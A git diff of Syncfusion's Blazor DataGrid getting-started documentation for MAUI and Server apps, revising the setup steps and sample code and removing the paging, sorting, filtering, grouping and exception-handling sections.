@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor DataGrid
 
-This section explains you through the step-by-step process of integrating the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid component into your Blazor MAUI application using both Visual Studio and Visual Studio Code.
+This section explains you through the step-by-step process of integrating the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) component in your Blazor MAUI App using both [Visual Studio](https://visualstudio.microsoft.com/vs/) and [Visual Studio Code](https://code.visualstudio.com/).
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance your projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into your preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview)
 
@@ -23,22 +23,7 @@ To use the MAUI project templates, install the Mobile development with the .NET
 
 ## Create a new Blazor MAUI App in Visual Studio
 
-You can create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid and Themes NuGet in the app
-
-To add **Blazor DataGrid**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Grid -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
+Create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
 {% endtabcontent %}
 
@@ -50,351 +35,161 @@ To use the MAUI project templates, install the Mobile development with the .NET
 
 ## Create a new Blazor MAUI App in Visual Studio Code
 
-You can create a Blazor MAUI App using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
+Create a Blazor MAUI App using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-## Install Blazor DataGrid and Themes NuGet in the App
-
-To add **Blazor DataGrid**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
+Alternatively, create a MAUI application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
+{% highlight c# tabtitle="Blazor MAUI App" %}
 
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Grid -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
+dotnet new maui-blazor -o MauiBlazorApp
+cd MauiBlazorApp
 
 {% endhighlight %}
-
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% endtabcontents %}
 
-## Add Import Namespaces
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Grids` namespace.
+Install [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`).
 
-{% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
-
-@using Syncfusion.Blazor 
-@using Syncfusion.Blazor.Grids
-
-{% endhighlight %}
-{% endtabs %}
-
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
-
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/MauiProgram.cs** file.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle="~/MauiProgram.cs" hl_lines="2 19" %}
-
-using Microsoft.Extensions.Logging;
-using Syncfusion.Blazor;
-
-namespace MauiBlazorWindow;
+{% highlight C# tabtitle="Package Manager" %}
 
-    public static class MauiProgram
-    {
-        public static MauiApp CreateMauiApp()
-        {
-            var builder = MauiApp.CreateBuilder();
-            builder
-                .UseMauiApp<App>()
-                .ConfigureFonts(fonts =>
-                {
-                    fonts.AddFont("OpenSans-Regular.ttf", "OpenSansRegular");
-                });
-
-            builder.Services.AddMauiBlazorWebView();
-            builder.Services.AddSyncfusionBlazor();
-#if DEBUG
-            builder.Services.AddBlazorWebViewDeveloperTools();
-    		builder.Logging.AddDebug();
-#endif
-
-            return builder.Build();
-        }
-    }
+Install-Package Syncfusion.Blazor.Grid -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-## Add stylesheet and script resources
-
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the `<head>` section of the **~/index.html** file.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-    //Blazor DataGrid Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.Grid/scripts/sf-grid.min.js" type="text/javascript"></script> -->
-</head>
-```
+## Add import namespaces
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
-
-## Add Blazor DataGrid component
-
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid component in the **~/Pages/Home.razor** file.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Grids` namespaces.
 
 {% tabs %}
-{% highlight razor %}
-
-<SfGrid DataSource="@Orders" />
-
-@code{
-    public List<Order> Orders { get; set; }
-
-    protected override void OnInitialized()
-    {
-        Orders = Enumerable.Range(1, 5).Select(x => new Order()
-        {
-            OrderID = 0 + x,
-            CustomerID = (new string[] { "ALFKI", "ANANTR", "ANTON", "BLONP", "BOLID" })[new Random().Next(5)],
-        }).ToList();
-    }
-
-    public class Order
-    {
-        public int? OrderID { get; set; }
-        public string CustomerID { get; set; }
+{% highlight razor tabtitle="~/_Imports.razor" %}
 
-    }
-}
+@using Syncfusion.Blazor 
+@using Syncfusion.Blazor.Grids
 
 {% endhighlight %}
 {% endtabs %}
 
-### How to Run the Sample on Windows
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Run the sample in Windows Machine mode, and it will run Blazor MAUI in Windows.
-
-![Blazor DataGrid Component](images/blazor-datagrid-maui-page.webp)
-
-### How to Run the Sample on Android
-
-To run the Blazor DataGrid in a Blazor Android MAUI application using the Android emulator, follow these steps:
-
-Refer [here](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/device-manager#android-device-manager-on-windows) to install and launch Android emulator.
-
-N> If you encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance[Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
-
-![Blazor DataGrid Component](images/blazor-datagrid-component.webp)
-
-## Defining row data
-
-To bind data for the Grid, you can assign a IEnumerable object to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) property. The list data source can also be provided as an instance of the **DataManager**. You can assign the data source through the `OnInitialized` life cycle of the page.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight c# tabtitle="~/MauiProgram.cs" %}
 
-<SfGrid DataSource="@Orders" />
+....
+using Syncfusion.Blazor;
 
-@code{
-    public List<Order> Orders { get; set; }
+....
 
-    protected override void OnInitialized()
+public static class MauiProgram
+{
+    public static MauiApp CreateMauiApp()
     {
-        Orders = Enumerable.Range(1, 75).Select(x => new Order()
-        {
-            OrderID = 1000 + x,
-            CustomerID = (new string[] { "ALFKI", "ANANTR", "ANTON", "BLONP", "BOLID" })[new Random().Next(5)],
-            Freight = 2.1 * x,
-            OrderDate = DateTime.Now.AddDays(-x),
-        }).ToList();
-    }
-
-    public class Order {
-        public int? OrderID { get; set; }
-        public string CustomerID { get; set; }
-        public DateTime? OrderDate { get; set; }
-        public double? Freight { get; set; }
+        ....
+        builder.Services.AddSyncfusionBlazor();
+        ....
     }
 }
 
 {% endhighlight %}
 {% endtabs %}
 
+## Add stylesheet and script resources
 
-## Defining columns
-
-The columns are automatically generated when columns declaration is empty or undefined while initializing the Grid.
-
-The Grid has an option to define columns using [GridColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumns.html). To customize column properties, use [GridColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumns.html).
-
-Let’s check the properties used here:
-* [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Field) is added to map with a property name in IEnumerable object.
-* [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderText) is added to change the title of columns.
-* [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_TextAlign) is used to change the alignment of columns. By default, columns will be left aligned. To change columns to right align, define [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_TextAlign) as **Right**.
-* Also, you have used another useful property, [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Format). Using this, you can format number and date values to standard or custom formats.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfGrid DataSource="@Orders">
-    <GridColumns>
-        <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-        <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-        <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-    </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable paging
-
-The paging feature enables users to view the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid record in a paged view. It can be enabled by setting the [AllowPaging](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowPaging) property to true. Pager can be customized using the [GridPageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_PageSettings).
-
-{% tabs %}
-{% highlight razor %}
-
-<SfGrid DataSource="@Orders" AllowPaging="true">
- <GridPageSettings PageSize="5"></GridPageSettings>
-   <GridColumns>
-     <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-     <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-     <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-     <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-   </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable sorting
-
-The sorting feature enables you to order the records. It can be enabled by setting the [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowSorting) property as true. Sorting feature can be customized using the [GridSortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SortSettings).
-
-{% tabs %}
-{% highlight razor %}
-
-<SfGrid DataSource="@Orders" AllowPaging="true" AllowSorting="true">
- <GridPageSettings PageSize="5"></GridPageSettings>
-   <GridColumns>
-     <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-     <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-     <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-     <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-   </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable filtering
-
-The filtering feature enables you to view reduced amount of records based on filter criteria. It can be enabled by setting the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowFiltering) property as true. Filtering feature can be customized using the [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings).
-
-{% tabs %}
-{% highlight razor %}
-
-<SfGrid DataSource="@Orders" AllowPaging="true" AllowSorting="true" AllowFiltering="true">
- <GridPageSettings PageSize="5"></GridPageSettings>
-   <GridColumns>
-     <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-     <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-     <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-     <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-   </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable grouping
-
-The grouping feature enables you to view the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid record in a grouped view. It can be enabled by setting the [AllowGrouping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowGrouping) property as true. Grouping feature can be customized using the [GridGroupSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GroupSettings).
-
-{% tabs %}
-{% highlight razor %}
-
-<SfGrid DataSource="@Orders" AllowPaging="true" AllowSorting="true" AllowFiltering="true" AllowGrouping="true">
- <GridPageSettings PageSize="5"></GridPageSettings>
-   <GridColumns>
-     <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-     <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-     <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-     <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-   </GridColumns>
-</SfGrid>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBfDWBkLabNleSQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor DataGrid](images/blazor-datagrid-render.webp)" %}
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
-## Handling exceptions
+```html
 
-Exceptions occurred during Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid actions can be handled without stopping application. These error messages or exception details can be acquired using the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnActionFailure) event.
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 
-* **TValue** - Specifies the row data type of the grid (for example, Order). It enables strong typing for templates and event args and ensures proper binding/formatting.
-* **GridEvents** - When you use GridEvents, set the same TValue on both SfGrid and GridEvents so the event argument types (like FailureEventArgs, RowSelectEventArgs<TValue>) are correctly bound.
+```
 
-The argument passed to the `OnActionFailure` event contains the error details returned from the server.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application. Refer to the [Style and Appearance](https://blazor.syncfusion.com/documentation/datagrid/style-and-appearance) topic for customizing the DataGrid appearance and styling options.
 
-N> Recommend you to bind `OnActionFailure` event during your application development phase, this helps you to find any exceptions. You can pass these exception details to our support team to get solution as early as possible.
+## Add Blazor DataGrid component
 
-The following sample code demonstrates notifying user when server-side exception has occurred during data operation:
+Add the Blazor DataGrid component in the **~/Pages/Home.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
-@using Syncfusion.Blazor.Data
+@using Syncfusion.Blazor.Grids
 
-<span class="error">@ErrorDetails</span>
-<SfGrid TValue="Order" AllowPaging="true">
-    <GridEvents TValue="Order" OnActionFailure="@ActionFailure"></GridEvents>
-    <GridPageSettings PageSize="10"></GridPageSettings>
-    <SfDataManager Url="https://some.com/invalidUrl" Adaptor="Adaptors.WebApiAdaptor"></SfDataManager>
+<SfGrid DataSource="@OrderData">
     <GridColumns>
-        <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" IsPrimaryKey="true" TextAlign="TextAlign.Right" Width="120"></GridColumn>
-        <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer Name" Width="150"></GridColumn>
-        <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
-        <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
+        <GridColumn Field=@nameof(OrderDetails.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
+        <GridColumn Field=@nameof(OrderDetails.CustomerID) HeaderText="Customer Name" Width="120"></GridColumn>
+        <GridColumn Field=@nameof(OrderDetails.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" EditType="EditType.NumericEdit" Width="120"></GridColumn>
+        <GridColumn Field=@nameof(OrderDetails.ShipCountry) HeaderText="Ship Country" EditType="EditType.DropDownEdit" Width="150"></GridColumn>
     </GridColumns>
 </SfGrid>
 
-<style>
-    .error {
-        color: red;
+@code {
+    public List<OrderDetails> OrderData { get; set; }
+    protected override void OnInitialized()
+    {
+        OrderData = OrderDetails.GetAllRecords();
     }
-</style>
-
-@code{
-    public string ErrorDetails = "";
-    public class Order
+}
+{% endhighlight %}
+{% highlight c# tabtitle="OrderDetails.cs" %}
+public class OrderDetails
+{
+    public static List<OrderDetails> Order = new List<OrderDetails>();
+    public OrderDetails(int OrderID, string CustomerId, double Freight, string ShipCountry)
     {
-        public int? OrderID { get; set; }
-        public string CustomerID { get; set; }
-        public DateTime? OrderDate { get; set; }
-        public double? Freight { get; set; }
+        this.OrderID = OrderID;
+        this.CustomerID = CustomerId;
+        this.Freight = Freight;
+        this.ShipCountry = ShipCountry;    
     }
-
-    public void ActionFailure(FailureEventArgs args)
+    public static List<OrderDetails> GetAllRecords()
     {
-        this.ErrorDetails = "Server exception: 404 Not found";
-        StateHasChanged();
+        if (Order.Count == 0)
+        {
+            Order.Add(new OrderDetails(10248, "VINET", 32.38, "France"));
+            Order.Add(new OrderDetails(10249, "TOMSP", 11.61, "Germany"));
+            Order.Add(new OrderDetails(10250, "HANAR", 65.83, "Brazil"));
+            Order.Add(new OrderDetails(10251, "VICTE", 41.34, "France"));
+            Order.Add(new OrderDetails(10252, "SUPRD", 51.3, "Belgium"));
+        }
+        return Order;
     }
+    public int OrderID { get; set; }
+    public string CustomerID { get; set; }
+    public double Freight { get; set; }
+    public string ShipCountry { get; set; }
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-## See Also
+### How to run the sample on windows
 
-* [Getting started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid in Server Side App using .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-dotnet-cli)
+Run the sample in Windows Machine mode, and it will run Blazor MAUI in Windows.
+
+![Blazor DataGrid Component](images/blazor-datagrid-maui-page.webp)
+
+### How to run the sample on android
+
+To run the Blazor DataGrid in a Blazor Android MAUI application using the Android emulator, follow these steps:
+
+Refer [here](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/device-manager#android-device-manager-on-windows) to install and launch Android emulator.
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-dotnet-cli)
+N> If encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance[Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid in WebAssembly using Visual Studio](./how-to/blazor-webassembly-datagrid-using-visual-studio)
\ No newline at end of file
+![Blazor DataGrid Component](images/blazor-datagrid-maui-page.webp)
\ No newline at end of file
diff --git a/blazor/datagrid/getting-started-with-server-app.md b/blazor/datagrid/getting-started-with-server-app.md
index 0e0ca8a30b..382e78d5c8 100644
--- a/blazor/datagrid/getting-started-with-server-app.md
+++ b/blazor/datagrid/getting-started-with-server-app.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor DataGrid in Server App
 
-This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) in your Blazor Server App using Visual Studio, Visual Studio code and .NET CLI.
+This section briefly explains about how to include Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) component in a Blazor Server App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance your projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into your preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview)
 
@@ -143,11 +143,11 @@ The theme stylesheet and script can be accessed from NuGet through [Static Web A
 
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application. Refer to the [Style and Appearance](https://blazor.syncfusion.com/documentation/datagrid/style-and-appearance) topic for customizing the DataGrid appearance and styling options.
 
-## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid component
+## Add Blazor DataGrid component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component`, define a render mode at the top of the `~Pages/Home.razor` file.
+Add the Blazor DataGrid component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component`, define a render mode at the top of the `~Pages/Home.razor` file.
 
 N> If the Interactivity Location is set to `Global`, the render mode is automatically configured in the `App.razor` file by default.
 
@@ -163,240 +163,57 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-<SfGrid DataSource="@Orders" />
-
-@code{
-    public List<Order> Orders { get; set; }
-
-    protected override void OnInitialized()
-    {
-        Orders = Enumerable.Range(1, 5).Select(x => new Order()
-        {
-            OrderID = 0 + x,
-            CustomerID = (new string[] { "ALFKI", "ANANTR", "ANTON", "BLONP", "BOLID" })[new Random().Next(5)],
-        }).ToList();
-    }
-
-    public class Order
-    {
-        public int? OrderID { get; set; }
-        public string CustomerID { get; set; }
-
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid in your default web browser.
-
